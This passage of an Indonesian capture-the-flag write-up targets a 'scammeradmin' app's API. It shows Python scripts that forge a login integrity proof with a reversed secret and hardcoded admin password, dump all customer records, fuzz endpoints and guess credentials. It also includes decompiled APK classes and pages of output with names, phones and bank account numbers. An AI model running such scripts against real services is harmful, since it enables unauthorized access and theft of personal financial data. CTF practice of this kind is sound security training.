    print(f"--- {method} {path} -> {st}") 
    print(bd[:1000]) 
    print() 
    return st, bd 
 
probe("GET", "/api/customers?page=1&limit=100") 
probe("GET", "/api/me") 
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probe("GET", "/api/profile") 
probe("GET", "/api/admin") 
probe("GET", "/api/admin/flag") 
probe("GET", "/api/flag") 
probe("GET", "/flag") 
 
# Coba detail customer id 1..5 
for cid in ["1", "2", "3", "4", "5"]: 
    probe("POST", "/api/customer/detail", {"cid": cid, "full": True}) 

Dan mengeluarkan output berikut :  

[*] nonce_token = 
537a8ab5c1583df96e56231a9aae0302:1de10004e99d2065463afc5d76b38fab18bf69fa
76d548d4bd83e5e1bc9e4a31 
[*] part1 (input computeProof) = 537a8ab5c1583df96e56231a9aae0302 
[*] proof = 
bd2717a1e86ce33297e82e8b5810f2c5133042463e7f604b51bd004707db8627 
[*] POST /api/login -> 200 
    {"message":"Selamat datang, 
Admin.","role":"admin","token":"6d6a97ff30482c084a4629e560ca563ca26d751d258eec
3eee501a4676e4c35f"} 
 
 
[+] TOKEN = 
6d6a97ff30482c084a4629e560ca563ca26d751d258eec3eee501a4676e4c35f 
 
--- GET /api/customers?page=1&limit=100 -> 200 
{"customers":[{"bank_account":"0013389083863794","bank_name":"BCA","customer_id":
"59d20d850316d252","id":1,"name":"Hendri 
Kusuma","phone":"081243321819","status":"nonaktif"},{"bank_account":"07816184959
310","bank_name":"Mandiri","customer_id":"8f843cc50a12603c","id":2,"name":"Lestari 
Siregar","phone":"082135116155","status":"aktif"},{"bank_account":"832764835030","b
ank_name":"BSI","customer_id":"7c3710b36b0ca9b6","id":3,"name":"Tono 
Siregar","phone":"085852553419","status":"nonaktif"},{"bank_account":"965328710122
6916","bank_name":"Danamon","customer_id":"56815d3725f89b5b","id":4,"name":"Wati 
Haryanto","phone":"085824238849","status":"aktif"},{"bank_account":"4828148932","ba
nk_name":"BSI","customer_id":"a52b2d2d4c27138c","id":5,"name":"Desy 
Susanto","phone":"081384514627","status":"aktif"},{"bank_account":"1718227824","ban
k_name":"BTN","customer_id":"4944b3d69d8ffdcd","id":6,"name":"Gilang 
Manurung","phone":"085801543039","status":"aktif"},{"bank_account":"150983930103"
,"bank_name":"BN 

Oke disini kita sudah berhasil untuk akses ke data korban - korban. Lalu disini saya 

mencoba dump full data-data dari korban ini dengan script berikut. 

#!/usr/bin/env python3 
import hashlib 
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import json 
import urllib.request 
import urllib.error 
 
URL = "http://144.91.64.93:14927" 
SECRET = bytes.fromhex("7a3f9c2d8b1e4f6a0d5c3e7b9a2f4d8c") 
 
def http(method, path, data=None, headers=None, return_headers=False): 
    hdrs = {"Content-Type": "application/json"} 
    if headers: 
        hdrs.update(headers) 
    body = json.dumps(data).encode() if data is not None else None 
    req = urllib.request.Request(URL + path, data=body, method=method, headers=hdrs) 
    try: 
        with urllib.request.urlopen(req, timeout=15) as r: 
            bd = r.read().decode() 
            return (r.status, bd, dict(r.headers)) if return_headers else (r.status, bd) 
    except urllib.error.HTTPError as e: 
        bd = e.read().decode() 
        return (e.code, bd, dict(e.headers)) if return_headers else (e.code, bd) 
    except Exception as e: 
        return (0, str(e), {}) if return_headers else (0, str(e)) 
 
def login(): 
    st, body = http("GET", "/api/nonce") 
    nonce = json.loads(body)["nonce_token"] 
    proof = hashlib.sha256(nonce.split(":")[0].encode() + SECRET).hexdigest() 
    st, body = http("POST", "/api/login", { 
        "username": "Admin", 
        "password": "inibeneranadmin", 
        "nonce_token": nonce, 
        "integrity_proof": proof, 
    }) 
    if st != 200: 
        raise SystemExit(f"Login failed: {st} {body}") 
    return json.loads(body)["token"] 
 
# ---------- LOGIN ---------- 
token = login() 
auth = {"Authorization": f"Bearer {token}"} 
print(f"[+] token = {token}\n") 
 
# ---------- 1. HEADERS ---------- 
print("=== 1. RESPONSE HEADERS ===") 
st, body, headers = http("GET", "/api/customers?page=1&limit=1", None, auth, 
return_headers=True) 
for k, v in headers.items(): 
    print(f"  {k}: {v}") 
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print() 
 
# ---------- 2. SEMUA CUSTOMER ---------- 
print("=== 2. SEMUA CUSTOMER ===") 
all_customers = [] 
for page in range(1, 20): 
    st, body = http("GET", f"/api/customers?page={page}&limit=100", None, auth) 
    try: 
        d = json.loads(body) 
    except Exception: 
        print(f"  page {page}: parse error -> {body[:100]}") 
        break 
    cs = d.get("customers", []) 
    print(f"  page {page}: {st}, count={len(cs)}") 
    if not cs: 
        break 
    all_customers.extend(cs) 
    if len(cs) < 100: 
        break 
 
print(f"[*] Total customer terkumpul: {len(all_customers)}") 
if all_customers: 
    print(f"[*] Field per customer: {list(all_customers[0].keys())}") 
print() 
 
# ---------- 3. CARI SUSPECT ---------- 
print("=== 3. SUSPECT CHECK ===") 
for c in all_customers: 
    s = json.dumps(c).lower() 
    if any(k in s for k in ["flag", "ifest", "ctf", "{"]) and "}" in s: 
        # Filter hanya yang benar-benar berisi {..} 
        for k, v in c.items(): 
            sv = str(v) 
            if "{" in sv and "}" in sv: 
                print(f"  SUSPECT: {json.dumps(c)}") 
                break 
 
# ---------- 4. DETAIL SEMUA CUSTOMER ---------- 
print("\n=== 4. DETAIL SEMUA CUSTOMER (full=true) ===") 
seen_ids = set() 
for c in all_customers: 
    cid = c.get("customer_id") 
    if not cid or cid in seen_ids: 
        continue 
    seen_ids.add(cid) 
    st, body = http("POST", "/api/customer/detail", {"cid": cid, "full": True}, auth) 
    if st == 200: 
        # Cek apakah ada field baru dibanding list 
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        try: 
            d = json.loads(body) 
            extra_fields = set(d.keys()) - set(c.keys()) 
            if extra_fields: 
                print(f"  cid={cid} EXTRA FIELDS: {extra_fields}") 
                print(f"    {json.dumps(d)}") 
            # Cek nilai mencurigakan 
            for k, v in d.items(): 
                sv = str(v).lower() 
                if any(x in sv for x in ["flag", "ifest", "ctf"]) or ("{" in sv and "}" in sv): 
                    print(f"  !! FLAG CANDIDATE: cid={cid} {json.dumps(d)}") 
        except Exception: 
            pass 
 
# ---------- 5. VARIASI BODY DETAIL ---------- 
print("\n=== 5. VARIASI BODY DETAIL ===") 
cid = all_customers[0]["customer_id"] if all_customers else "59d20d850316d252" 
variants = [ 
    {"cid": cid}, 
    {"cid": cid, "full": False}, 
    {"cid": cid, "full": True}, 
    {"cid": cid, "full": "true"}, 
    {"cid": cid, "full": 1}, 
    {"cid": cid, "dump": True}, 
    {"cid": cid, "verbose": True}, 
    {"cid": cid, "admin": True}, 
    {"cid": cid, "raw": True}, 
    {"cid": cid, "detail": True}, 
] 
for v in variants: 
    st, body = http("POST", "/api/customer/detail", v, auth) 
    print(f"  {v} -> {st} {body[:200]}") 
 
# ---------- 6. CID LAIN ---------- 
print("\n=== 6. CID KHUSUS ===") 
for cid_try in ["0", "-1", "1", "admin", "flag", "root", "999999", "flag_customer"]: 
    st, body = http("POST", "/api/customer/detail", {"cid": cid_try, "full": True}, auth) 
    if st == 200: 
        print(f"  cid={cid_try} -> 200 {body[:300]}") 
 
# ---------- 7. LOGIN ROLE LAIN ---------- 
print("\n=== 7. LOGIN SEBAGAI ROLE LAIN ===") 
for u, p in [ 
    ("admin", "admin"), 
    ("admin", "inibeneranadmin"), 
    ("Admin", "admin"), 
    ("root", "root"), 
    ("user", "user"), 
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    ("superadmin", "inibeneranadmin"), 
    ("flag", "flag"), 
]: 
    st, body = http("GET", "/api/nonce") 
    if st != 200: continue 
    n = json.loads(body)["nonce_token"] 
    pr = hashlib.sha256(n.split(":")[0].encode() + SECRET).hexdigest() 
    st, body = http("POST", "/api/login", { 
        "username": u, "password": p, 
        "nonce_token": n, "integrity_proof": pr, 
    }) 
    print(f"  {u}:{p} -> {st} {body[:150]}") 

Dan di dapatkan output berikut. 

[+] token = 8e43274c39d8ec97e41ec26bf492918d17968f088fb56d910fe0f924ed0bad3f 
 
=== 1. RESPONSE HEADERS === 
  Server: gunicorn 
  Date: Sat, 12 Sep 2026 11:21:20 GMT 
  Connection: close 
  Content-Type: application/json 
  Content-Length: 219 
 
=== 2. SEMUA CUSTOMER === 
  page 1: 200, count=50 
[*] Total customer terkumpul: 50 
[*] Field per customer: ['bank_account', 'bank_name', 'customer_id', 'id', 'name', 'phone', 
'status'] 
 
=== 3. SUSPECT CHECK === 
 
=== 4. DETAIL SEMUA CUSTOMER (full=true) === 
 
=== 5. VARIASI BODY DETAIL === 
  {'cid': '59d20d850316d252'} -> 200 
{"bank_account":"0013389083863794","bank_name":"BCA","customer_id":"59d20d8503
16d252","id":1,"name":"Hendri Kusuma","phone":"081243321819","status":"nonaktif"} 
 
  {'cid': '59d20d850316d252', 'full': False} -> 200 
{"bank_account":"0013389083863794","bank_name":"BCA","customer_id":"59d20d8503
16d252","id":1,"name":"Hendri Kusuma","phone":"081243321819","status":"nonaktif"} 
 
  {'cid': '59d20d850316d252', 'full': True} -> 200 
{"bank_account":"0013389083863794","bank_name":"BCA","customer_id":"59d20d8503
16d252","id":1,"name":"Hendri Kusuma","phone":"081243321819","status":"nonaktif"} 
 
  {'cid': '59d20d850316d252', 'full': 'true'} -> 200 
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{"bank_account":"0013389083863794","bank_name":"BCA","customer_id":"59d20d8503
16d252","id":1,"name":"Hendri Kusuma","phone":"081243321819","status":"nonaktif"} 
 
  {'cid': '59d20d850316d252', 'full': 1} -> 200 
{"bank_account":"0013389083863794","bank_name":"BCA","customer_id":"59d20d8503
16d252","id":1,"name":"Hendri Kusuma","phone":"081243321819","status":"nonaktif"} 
 
  {'cid': '59d20d850316d252', 'dump': True} -> 200 
{"bank_account":"0013389083863794","bank_name":"BCA","customer_id":"59d20d8503
16d252","id":1,"name":"Hendri Kusuma","phone":"081243321819","status":"nonaktif"} 
 
  {'cid': '59d20d850316d252', 'verbose': True} -> 200 
{"bank_account":"0013389083863794","bank_name":"BCA","customer_id":"59d20d8503
16d252","id":1,"name":"Hendri Kusuma","phone":"081243321819","status":"nonaktif"} 
 
  {'cid': '59d20d850316d252', 'admin': True} -> 200 
{"bank_account":"0013389083863794","bank_name":"BCA","customer_id":"59d20d8503
16d252","id":1,"name":"Hendri Kusuma","phone":"081243321819","status":"nonaktif"} 
 
  {'cid': '59d20d850316d252', 'raw': True} -> 200 
{"bank_account":"0013389083863794","bank_name":"BCA","customer_id":"59d20d8503
16d252","id":1,"name":"Hendri Kusuma","phone":"081243321819","status":"nonaktif"} 
 
  {'cid': '59d20d850316d252', 'detail': True} -> 200 
{"bank_account":"0013389083863794","bank_name":"BCA","customer_id":"59d20d8503
16d252","id":1,"name":"Hendri Kusuma","phone":"081243321819","status":"nonaktif"} 
 
 
=== 6. CID KHUSUS === 
 
=== 7. LOGIN SEBAGAI ROLE LAIN === 
  admin:admin -> 401 {"error":"invalid credentials"} 
 
  admin:inibeneranadmin -> 401 {"error":"invalid credentials"} 
 
  Admin:admin -> 401 {"error":"invalid credentials"} 
 
  root:root -> 401 {"error":"invalid credentials"} 
 
  user:user -> 401 {"error":"invalid credentials"} 
 
  superadmin:inibeneranadmin -> 401 {"error":"invalid credentials"} 
 
  flag:flag -> 401 {"error":"invalid credentials"} 

Dan karena belum mendapatkan flagnya saya mencoba reverse package T di class yang 

belum pernah saya buka sama sekali. 
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ackage T; 
 
import N.AbstractC0008c; 
import N.C0012g; 
import N.K; 
import N.Q; 
import java.util.concurrent.Executors; 
 
/* loaded from: classes.dex */ 
public final class b extends Q { 
 
    /* renamed from: c, reason: collision with root package name */ 
    public final C0012g f577c; 
 
    public b() { 
        K k2 = new K(this); 
        C.d dVar = new C.d(6, this); 
        synchronized (AbstractC0008c.f395a) { 
            try { 
                if (AbstractC0008c.b == null) { 
                    AbstractC0008c.b = Executors.newFixedThreadPool(2); 
                } 
            } catch (Throwable th) { 
                throw th; 
            } 
        } 
        C0012g c0012g = new C0012g(dVar, new C.d(7, AbstractC0008c.b)); 
        this.f577c = c0012g; 
        c0012g.f417d.add(k2); 
    } 
 
    @Override // N.Q 
    public final int a() { 
        return this.f577c.f.size(); 
    } 
} 
 
package T; 
 
/* loaded from: classes.dex */ 
public final class c { 
 
    /* renamed from: a, reason: collision with root package name */ 
    public final int f578a; 
    public final String b; 
 
    /* renamed from: c, reason: collision with root package name */ 
    public final String f579c; 
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    /* renamed from: d, reason: collision with root package name */ 
    public final String f580d; 
 
    /* renamed from: e, reason: collision with root package name */ 
    public final String f581e; 
    public final String f; 
 
    public c(int i2, String str, String str2, String str3, String str4, String str5) { 
        this.f578a = i2; 
        this.b = str; 
        this.f579c = str2; 
        this.f580d = str3; 
        this.f581e = str4; 
        this.f = str5; 
    } 
 
    public final boolean equals(Object obj) { 
        if (this == obj) { 
            return true; 
        } 
        if (!(obj instanceof c)) { 
            return false; 
        } 
        c cVar = (c) obj; 
        return this.f578a == cVar.f578a && h0.d.a(this.b, cVar.b) && h0.d.a(this.f579c, 
cVar.f579c) && h0.d.a(this.f580d, cVar.f580d) && h0.d.a(this.f581e, cVar.f581e) && 
h0.d.a(this.f, cVar.f); 
    } 
 
    public final int hashCode() { 
        return this.f.hashCode() + ((this.f581e.hashCode() + ((this.f580d.hashCode() + 
((this.f579c.hashCode() + ((this.b.hashCode() + (Integer.hashCode(this.f578a) * 31)) * 
31)) * 31)) * 31)) * 31); 
    } 
 
    public final String toString() { 
        return "CustomerItem(id=" + this.f578a + ", name=" + this.b + ", phone=" + this.f579c 
+ ", bankName=" + this.f580d + ", bankAccount=" + this.f581e + ", status=" + this.f + ')'; 
    } 
} 
 
package T; 
 
import a0.AbstractC0039h; 
import com.ifest26.scammeradmin.api.CustomerApi; 
import g0.InterfaceC0090p; 
import o0.InterfaceC0204l; 
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/* loaded from: classes.dex */ 
public final class e extends AbstractC0039h implements InterfaceC0090p { 
 
    /* renamed from: e, reason: collision with root package name */ 
    public final /* synthetic */ int f587e; 
 
    /* JADX WARN: 'super' call moved to the top of the method (can break code semantics) 
*/ 
    public e(int i2, Y.d dVar) { 
        super(dVar); 
        this.f587e = i2; 
    } 
 
    @Override // a0.AbstractC0032a 
    public final Y.d a(Object obj, Y.d dVar) { 
        return new e(this.f587e, dVar); 
    } 
 
    @Override // g0.InterfaceC0090p 
    public final Object d(Object obj, Object obj2) { 
        return ((e) a((InterfaceC0204l) obj, (Y.d) obj2)).e(V.f.f610c); 
    } 
 
    @Override // a0.AbstractC0032a 
    public final Object e(Object obj) throws Throwable { 
        B0.d.M(obj); 
        return CustomerApi.getCustomers$default(CustomerApi.INSTANCE, this.f587e, 0, 2, 
null); 
    } 
} 
 
package T; 
 
import N.C0012g; 
import N.RunnableC0010e; 
import a0.AbstractC0039h; 
import android.widget.Button; 
import android.widget.ProgressBar; 
import android.widget.TextView; 
import android.widget.Toast; 
import com.ifest26.scammeradmin.DashboardActivity; 
import g0.InterfaceC0090p; 
import java.util.ArrayList; 
import java.util.Collections; 
import java.util.concurrent.ExecutorService; 
import o0.AbstractC0206n; 
import o0.AbstractC0211t; 
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import o0.InterfaceC0204l; 
import org.json.JSONArray; 
import org.json.JSONObject; 
 
/* loaded from: classes.dex */ 
public final class f extends AbstractC0039h implements InterfaceC0090p { 
 
    /* renamed from: e, reason: collision with root package name */ 
    public int f588e; 
    public final /* synthetic */ ProgressBar f; 
 
    /* renamed from: g, reason: collision with root package name */ 
    public final /* synthetic */ DashboardActivity f589g; 
 
    /* renamed from: h, reason: collision with root package name */ 
    public final /* synthetic */ TextView f590h; 
 
    /* renamed from: i, reason: collision with root package name */ 
    public final /* synthetic */ TextView f591i; 
 
    /* renamed from: j, reason: collision with root package name */ 
    public final /* synthetic */ Button f592j; 
 
    /* renamed from: k, reason: collision with root package name */ 
    public final /* synthetic */ Button f593k; 
 
    /* renamed from: l, reason: collision with root package name */ 
    public final /* synthetic */ int f594l; 
 
    /* JADX WARN: 'super' call moved to the top of the method (can break code semantics) 
*/ 
    public f(ProgressBar progressBar, DashboardActivity dashboardActivity, TextView 
textView, TextView textView2, Button button, Button button2, int i2, Y.d dVar) { 
        super(dVar); 
        this.f = progressBar; 
        this.f589g = dashboardActivity; 
        this.f590h = textView; 
        this.f591i = textView2; 
        this.f592j = button; 
        this.f593k = button2; 
        this.f594l = i2; 
    } 
 
    @Override // a0.AbstractC0032a 
    public final Y.d a(Object obj, Y.d dVar) { 
        return new f(this.f, this.f589g, this.f590h, this.f591i, this.f592j, this.f593k, this.f594l, 
dVar); 
    } 
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    @Override // g0.InterfaceC0090p 
    public final Object d(Object obj, Object obj2) { 
        return ((f) a((InterfaceC0204l) obj, (Y.d) obj2)).e(V.f.f610c); 
    } 
 
    @Override // a0.AbstractC0032a 
    public final Object e(Object obj) throws Throwable { 
        Object objI; 
        boolean z2; 
        Z.a aVar = Z.a.f635a; 
        int i2 = this.f588e; 
        if (i2 == 0) { 
            B0.d.M(obj); 
            s0.c cVar = AbstractC0211t.b; 
            e eVar = new e(this.f594l, null); 
            this.f588e = 1; 
            objI = AbstractC0206n.i(cVar, eVar, this); 
            if (objI == aVar) { 
                return aVar; 
            } 
        } else { 
            if (i2 != 1) { 
                throw new IllegalStateException("call to 'resume' before 'invoke' with 
coroutine"); 
            } 
            B0.d.M(obj); 
            objI = obj; 
        } 
        String str = (String) objI; 
        this.f.setVisibility(8); 
        DashboardActivity dashboardActivity = this.f589g; 
        dashboardActivity.f1200B = false; 
        V.f fVar = V.f.f610c; 
        if (str == null) { 
            Toast.makeText(dashboardActivity, "Gagal memuat data.", 0).show(); 
            return fVar; 
        } 
        JSONObject jSONObject = new JSONObject(str); 
        dashboardActivity.f1199A = jSONObject.optInt("pages", 1); 
        dashboardActivity.f1203z = jSONObject.optInt("page", 1); 
        JSONArray jSONArrayOptJSONArray = jSONObject.optJSONArray("customers"); 
        ArrayList arrayList = new ArrayList(); 
        if (jSONArrayOptJSONArray != null) { 
            int length = jSONArrayOptJSONArray.length(); 
            int i3 = 0; 
            while (i3 < length) { 
                JSONObject jSONObject2 = jSONArrayOptJSONArray.getJSONObject(i3); 
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                int iOptInt = jSONObject2.optInt("id"); 
                String strOptString = jSONObject2.optString("name"); 
                h0.d.d(strOptString, "optString(...)"); 
                String strOptString2 = jSONObject2.optString("phone"); 
                h0.d.d(strOptString2, "optString(...)"); 
                String strOptString3 = jSONObject2.optString("bank_name"); 
                h0.d.d(strOptString3, "optString(...)"); 
                String strOptString4 = jSONObject2.optString("bank_account"); 
                h0.d.d(strOptString4, "optString(...)"); 
                JSONArray jSONArray = jSONArrayOptJSONArray; 
                String strOptString5 = jSONObject2.optString("status"); 
                h0.d.d(strOptString5, "optString(...)"); 
                arrayList.add(new c(iOptInt, strOptString, strOptString2, strOptString3, 
strOptString4, strOptString5)); 
                i3++; 
                jSONArrayOptJSONArray = jSONArray; 
            } 
        } 
        b bVar = dashboardActivity.f1202y; 
        if (bVar == null) { 
            h0.d.h("adapter"); 
            throw null; 
        } 
        C0012g c0012g = bVar.f577c; 
        int i4 = c0012g.f419g + 1; 
        c0012g.f419g = i4; 
        ArrayList arrayList2 = c0012g.f418e; 
        if (arrayList == arrayList2) { 
            z2 = false; 
        } else if (arrayList2 == null) { 
            c0012g.f418e = arrayList; 
            c0012g.f = Collections.unmodifiableList(arrayList); 
            z2 = false; 
            c0012g.f415a.A(0, arrayList.size()); 
            c0012g.a(); 
        } else { 
            z2 = false; 
            ((ExecutorService) c0012g.b.b).execute(new RunnableC0010e(c0012g, arrayList2, 
arrayList, i4)); 
        } 
        this.f590h.setText("Total: " + jSONObject.optInt("total") + " data korban  |  Hal. " + 
dashboardActivity.f1203z + " / " + dashboardActivity.f1199A); 
        StringBuilder sb = new StringBuilder(); 
        sb.append(dashboardActivity.f1203z); 
        sb.append(" / "); 
        sb.append(dashboardActivity.f1199A); 
        this.f591i.setText(sb.toString()); 
        this.f592j.setEnabled(dashboardActivity.f1203z > 1 ? true : z2); 
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        this.f593k.setEnabled(dashboardActivity.f1203z < dashboardActivity.f1199A ? true : 
z2); 
        return fVar; 
    } 
} 
 
package T; 
 
import com.ifest26.scammeradmin.IntegrityGuard; 
 
/* loaded from: classes.dex */ 
public final /* synthetic */ class g implements Runnable { 
    @Override // java.lang.Runnable 
    public final void run() throws InterruptedException { 
        IntegrityGuard.THREAD$lambda$0(); 
    } 
} 

Dan ditemukan hal menarik di class f yaitu : Java-nya baca 4 field: pages, page, customers, 

total. Lalu disini saya mencoba dump lengkap data dari korban dengan script berikut. 

#!/usr/bin/env python3 
import hashlib, json, urllib.request 
 
URL = "http://144.91.64.93:14927" 
SECRET = bytes.fromhex("7a3f9c2d8b1e4f6a0d5c3e7b9a2f4d8c") 
 
# login 
with urllib.request.urlopen(URL + "/api/nonce") as r: 
    nonce = json.loads(r.read())["nonce_token"] 
proof = hashlib.sha256(nonce.split(":")[0].encode() + SECRET).hexdigest() 
data = json.dumps({ 
    "username": "Admin", "password": "inibeneranadmin", 
    "nonce_token": nonce, "integrity_proof": proof, 
}).encode() 
req = urllib.request.Request(URL + "/api/login", data=data, 
    headers={"Content-Type": "application/json"}) 
with urllib.request.urlopen(req) as r: 
    token = json.loads(r.read())["token"] 
 
# dump full response 
req = urllib.request.Request( 
    URL + "/api/customers?page=1&limit=50", 
    headers={"Authorization": f"Bearer {token}"}, 
) 
with urllib.request.urlopen(req) as r: 
    raw = r.read().decode() 
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print("=== RAW RESPONSE ===") 
print(raw) 
print() 
 
d = json.loads(raw) 
print("=== TOP-LEVEL KEYS ===") 
for k, v in d.items(): 
    if k == "customers": 
        print(f"  {k}: [list, {len(v)} items]") 
    else: 
        print(f"  {k}: {v}") 
print() 
 
# Cek semua field customer 
if d.get("customers"): 
    print("=== ALL FIELDS PER CUSTOMER ===") 
    all_keys = set() 
    for c in d["customers"]: 
        all_keys.update(c.keys()) 
    print(f"  Fields: {sorted(all_keys)}") 

Output nya berikut :  

=== RAW RESPONSE === 

{"customers":[{"bank_account":"0013389083863794","bank_name":"BCA","customer_id":
"59d20d850316d252","id":1,"name":"Hendri 
Kusuma","phone":"081243321819","status":"nonaktif"},{"bank_account":"07816184959
310","bank_name":"Mandiri","customer_id":"8f843cc50a12603c","id":2,"name":"Lestari 
Siregar","phone":"082135116155","status":"aktif"},{"bank_account":"832764835030","b
ank_name":"BSI","customer_id":"7c3710b36b0ca9b6","id":3,"name":"Tono 
Siregar","phone":"085852553419","status":"nonaktif"},{"bank_account":"965328710122
6916","bank_name":"Danamon","customer_id":"56815d3725f89b5b","id":4,"name":"Wati 
Haryanto","phone":"085824238849","status":"aktif"},{"bank_account":"4828148932","ba
nk_name":"BSI","customer_id":"a52b2d2d4c27138c","id":5,"name":"Desy 
Susanto","phone":"081384514627","status":"aktif"},{"bank_account":"1718227824","ban
k_name":"BTN","customer_id":"4944b3d69d8ffdcd","id":6,"name":"Gilang 
Manurung","phone":"085801543039","status":"aktif"},{"bank_account":"150983930103"
,"bank_name":"BNI","customer_id":"fa6c3b76aa35d855","id":7,"name":"Reza 
Santoro","phone":"082246578713","status":"aktif"},{"bank_account":"311656670106513
3","bank_name":"Mandiri","customer_id":"ce99fd3f07d5e9c5","id":8,"name":"Indah 
Atmaja","phone":"085838299737","status":"aktif"},{"bank_account":"1326773602","bank
_name":"Danamon","customer_id":"ce7a5ad31970ed7f","id":9,"name":"Eka 
Hidayat","phone":"085173178108","status":"nonaktif"},{"bank_account":"009788208121
91","bank_name":"Mandiri","customer_id":"9a5103a6a65ba564","id":10,"name":"Rizky 
Lubis","phone":"085823430980","status":"aktif"},{"bank_account":"5107991183842513"
,"bank_name":"BSI","customer_id":"0a22425753e0a888","id":11,"name":"Arif 
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Atmaja","phone":"085243534624","status":"aktif"},{"bank_account":"449353487401","ba
nk_name":"Danamon","customer_id":"4bec2fcdb0c0006b","id":12,"name":"Ratna 
Haryanto","phone":"081284124118","status":"aktif"},{"bank_account":"805982620450","
bank_name":"BSI","customer_id":"7769852c57795321","id":13,"name":"Linda 
Wibowo","phone":"085127868011","status":"aktif"},{"bank_account":"2563421607","ban
k_name":"Mandiri","customer_id":"5da8e491531d3603","id":14,"name":"Anton 
Utama","phone":"085286923226","status":"nonaktif"},{"bank_account":"8685014294019
6","bank_name":"BSI","customer_id":"f98ae654ddffc7a9","id":15,"name":"Doni 
Sinaga","phone":"082230365414","status":"nonaktif"},{"bank_account":"561595148465"
,"bank_name":"Danamon","customer_id":"1a3e86ea5eaf657c","id":16,"name":"Gilang 
Budiman","phone":"081369340608","status":"aktif"},{"bank_account":"36995777387214
","bank_name":"BTN","customer_id":"9604c495dc2d7f1c","id":17,"name":"Hendra 
Hasibuan","phone":"085729946804","status":"aktif"},{"bank_account":"7693676320","ba
nk_name":"BNI","customer_id":"de1765313a2d7258","id":18,"name":"Nur 
Santoro","phone":"082243320037","status":"aktif"},{"bank_account":"872774348734714
3","bank_name":"CIMB Niaga","customer_id":"3e66ff43d1dbe1ea","id":19,"name":"Rudi 
Tanjung","phone":"082178895798","status":"aktif"},{"bank_account":"60366909670546
68","bank_name":"BTN","customer_id":"0729fd64fa6628dd","id":20,"name":"Rina 
Pratama","phone":"082262316658","status":"nonaktif"},{"bank_account":"6990162720",
"bank_name":"CIMB 
Niaga","customer_id":"26910586a8c79555","id":21,"name":"Bambang 
Siregar","phone":"085770656272","status":"aktif"},{"bank_account":"0330923271","bank
_name":"BPD DIY","customer_id":"d9658d7191853c45","id":22,"name":"Taufik 
Hasibuan","phone":"085117080531","status":"aktif"},{"bank_account":"9663193149190
5","bank_name":"BTN","customer_id":"33ae03c7723e03e8","id":23,"name":"Linda 
Situmorang","phone":"082199124190","status":"nonaktif"},{"bank_account":"769453147
3799650","bank_name":"Bank 
Jatim","customer_id":"487111ac0d9b70c1","id":24,"name":"Sri 
Lubis","phone":"085272628498","status":"aktif"},{"bank_account":"678377701436","ban
k_name":"Mandiri","customer_id":"4ecf3e7b2078dab5","id":25,"name":"Doni 
Nasution","phone":"085249480831","status":"aktif"},{"bank_account":"18233749894134
","bank_name":"Mandiri","customer_id":"0b21068f4892fe91","id":26,"name":"Eka 
Halim","phone":"085257444313","status":"aktif"},{"bank_account":"9477752047","bank_
name":"BNI","customer_id":"3313dff36340b2f3","id":27,"name":"Sinta 
Hartono","phone":"082140084271","status":"aktif"},{"bank_account":"99938677496499
09","bank_name":"BNI","customer_id":"d341de025e268efb","id":28,"name":"Farhan 
Mulyadi","phone":"081222941318","status":"aktif"},{"bank_account":"97403447134936
18","bank_name":"Mandiri","customer_id":"0be7e33fcadf9b09","id":29,"name":"Wahyu 
Atmaja","phone":"081323281206","status":"aktif"},{"bank_account":"64887719065940",
"bank_name":"BNI","customer_id":"d70c7578ea4647a6","id":30,"name":"Dian 
Raharjo","phone":"081224994717","status":"aktif"},{"bank_account":"717565512567468
0","bank_name":"Bank Jatim","customer_id":"7184181f321f12ca","id":31,"name":"Taufik 
Wahyudi","phone":"085190278742","status":"aktif"},{"bank_account":"97703482477109
","bank_name":"Mandiri","customer_id":"1dc5236dbe043449","id":32,"name":"Rudi 
Supriadi","phone":"085780876038","status":"aktif"},{"bank_account":"67737826398214
","bank_name":"Danamon","customer_id":"ac8cbfa44031967f","id":33,"name":"Desy 
Susanto","phone":"085713171274","status":"aktif"},{"bank_account":"75339636057662
70","bank_name":"BRI","customer_id":"da800b19e9a0f2cd","id":34,"name":"Diky 
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Sinaga","phone":"085827875588","status":"aktif"},{"bank_account":"59615865780913","
bank_name":"CIMB Niaga","customer_id":"66a86b3dae33b7e1","id":35,"name":"Sri 
Rangkuti","phone":"081387026217","status":"aktif"},{"bank_account":"56238692221969
","bank_name":"Mandiri","customer_id":"e9e31fbf0d841900","id":36,"name":"Eka 
Utama","phone":"081372400504","status":"aktif"},{"bank_account":"4743671369594406
","bank_name":"CIMB Niaga","customer_id":"a113dbbbc365a31e","id":37,"name":"Anton 
Susanto","phone":"085848217594","status":"nonaktif"},{"bank_account":"4709521456","
bank_name":"BRI","customer_id":"859988d82e4a16a0","id":38,"name":"Rizky 
Supriadi","phone":"082295339421","status":"aktif"},{"bank_account":"368516048175","
bank_name":"CIMB Niaga","customer_id":"e47961a34616f1e2","id":39,"name":"Nurul 
Budiman","phone":"085124745171","status":"aktif"},{"bank_account":"46120047113826
75","bank_name":"BTN","customer_id":"2897071f65d24370","id":40,"name":"Sri 
Wahyudi","phone":"082270985931","status":"nonaktif"},{"bank_account":"06431713900
532","bank_name":"BPD DIY","customer_id":"d87c98de68c41c32","id":41,"name":"Indah 
Santoso","phone":"085237735158","status":"aktif"},{"bank_account":"21020539502402"
,"bank_name":"Danamon","customer_id":"81033f5d2c8c7655","id":42,"name":"Sari 
Kurniawan","phone":"082252904228","status":"aktif"},{"bank_account":"700766177115
92","bank_name":"BNI","customer_id":"9e0a93e6ca07abe4","id":43,"name":"Bayu 
Rangkuti","phone":"085289178390","status":"aktif"},{"bank_account":"73657661565452
71","bank_name":"BNI","customer_id":"3b4e660513f86725","id":44,"name":"Tono 
Firmansyah","phone":"085178961183","status":"aktif"},{"bank_account":"56049451983
27315","bank_name":"BTN","customer_id":"a59ff370f5afe6ed","id":45,"name":"Rosa 
Halim","phone":"085228098851","status":"aktif"},{"bank_account":"2296120183","bank_
name":"Danamon","customer_id":"baa7d7c50d02d4ca","id":46,"name":"Eka 
Legowo","phone":"081294024455","status":"aktif"},{"bank_account":"643815614978403
6","bank_name":"BPD DIY","customer_id":"e2d4bda1a8d22c0b","id":47,"name":"Dewi 
Pratama","phone":"082190147679","status":"aktif"},{"bank_account":"683885160607","
bank_name":"BNI","customer_id":"68b3ef2460890d84","id":48,"name":"Fitri 
Supriadi","phone":"082144510762","status":"nonaktif"},{"bank_account":"3696816453",
"bank_name":"BSI","customer_id":"e4932a83c8278718","id":49,"name":"Rizky 
Kusuma","phone":"085705297516","status":"aktif"},{"bank_account":"921277997995","b
ank_name":"BSI","customer_id":"0a135d7feba699c5","id":50,"name":"Nurul 
